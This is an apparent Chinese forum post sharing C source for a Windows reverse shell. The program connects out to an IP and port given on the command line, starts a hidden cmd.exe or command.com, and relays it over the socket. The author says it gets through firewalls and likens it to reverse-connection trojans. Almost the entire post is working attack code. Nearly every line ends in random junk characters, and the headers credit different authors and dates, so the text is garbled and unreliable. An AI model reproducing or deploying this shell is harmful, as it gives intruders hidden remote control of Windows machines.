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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gp{Z]{io  
VhgcvS@V  
/* ============================== ;O .;i,#Z  
Rebound port in Windows NT c-?0~A  
By wind,2006/7 ZmaW]3$  
===============================*/ 3/su1M[  
#include 6k1_dRu  
#include $yFR{_]  
> 3l3  
#pragma comment(lib,"wsock32.lib") K}LF ${bS  
w/fiNY5FZ  
void OutputShell(); LA,G>#?H  
SOCKET sClient; |'L$ogt6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'EU|w,GL}  
8PRB_ny  
void main(int argc,char **argv) _[hVGCSB  
{ @Y6~;(p  
WSADATA stWsaData; 'sjks sy.3  
int nRet; {\k:?w4  
SOCKADDR_IN stSaiClient,stSaiServer; BQ!_i*14+  
r?Pk}Q  
if(argc != 3) $! UEpQ  
{ p1\E C#Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); <+`}: A  
return; |e&hm ~R1  
} Hn?v  /3  
xl@  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~</H>Jd  
<QK2Wc_}-"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4e|(= W`  
w 1O)  
stSaiClient.sin_family = AF_INET; yjChnp Cc  
stSaiClient.sin_port = htons(0); pH?"@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m8v=pab e  
#X<s_.7DJ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )-LS n  
{ ZV:0:k.x  
printf("Bind Socket Failed!\n"); iM{aRFL  
return; f{R/rb&iB  
} 1uc;:N G=  
'n!Sco)C  
stSaiServer.sin_family = AF_INET; ]~m2#g%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ktf lbI!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'A#l$pJp7  
|+Ub3<b[]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #xxs^Kbqa#  
{ =Wl}Pgo!  
printf("Connect Error!"); |?uUw$oh  
return; X>rv{@KbL  
} {(`xA,El  
OutputShell(); qH*Fv:qnM  
} v6KF0mqA&  
\;Q:a /ur9  
void OutputShell() #mcGT\tQ  
{ q6N6QI8/  
char szBuff[1024]; 0$q)uip  
SECURITY_ATTRIBUTES stSecurityAttributes; Yg3emn|a  
OSVERSIONINFO stOsversionInfo; m[?gN&%nc  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Vg? 1&8>  
STARTUPINFO stStartupInfo; f!##R-A  
char *szShell; 8>V)SAI'  
PROCESS_INFORMATION stProcessInformation; 9GVv[/NAb  
unsigned long lBytesRead; C%kIxa)  
o[K,(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |1"n\4$  
{o.i\"x;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +# tmsv]2  
stSecurityAttributes.lpSecurityDescriptor = 0; 1bJrEXHXy  
stSecurityAttributes.bInheritHandle = TRUE; #ZpR.$`k  
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x-=qlg&EI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dy2<b+ ..  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BjCg!6`XF  
<bgFc[Z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X/`M'8v.%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nfjwWDH  
stStartupInfo.wShowWindow = SW_HIDE; ;_= +h,n  
stStartupInfo.hStdInput = hReadPipe; G8!* &vR/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c7(Lk"G8  
\TXCq@  
GetVersionEx(&stOsversionInfo); #R3|nL  
$2gZpO|  
switch(stOsversionInfo.dwPlatformId) nJ~5ICyd  
{ 97L# 3L6t  
case 1: ygfUy  
szShell = "command.com"; iwT PJGK|  
break; ;R{ffS6  
default: a/H|/CB 3  
szShell = "cmd.exe"; 5j$ a3nH  
break; )*n2 ,n  
} o@tc   
<;nhb  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]B r 6!U4~  
g\lEdxm6Sj  
send(sClient,szMsg,77,0); vmK`QPu 2  
while(1) YA%0{Tdxz  
{ Vi_6O;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ww$Ec  
if(lBytesRead) ua>YI  
{ \J,pV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y|96K2BR  
send(sClient,szBuff,lBytesRead,0); 80;^]l   
} _iZ_.3 Ip  
else ky-9I<Z,,  
{ r5S5;jL%t  
lBytesRead=recv(sClient,szBuff,1024,0); &+zS4)UK  
if(lBytesRead<=0) break; &)v}oHy,m  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Sn!5/9Y  
} DDwm;,eZ  
} N.@@ebuE  
1A.ecv'  
return; aJ^RY5  
}
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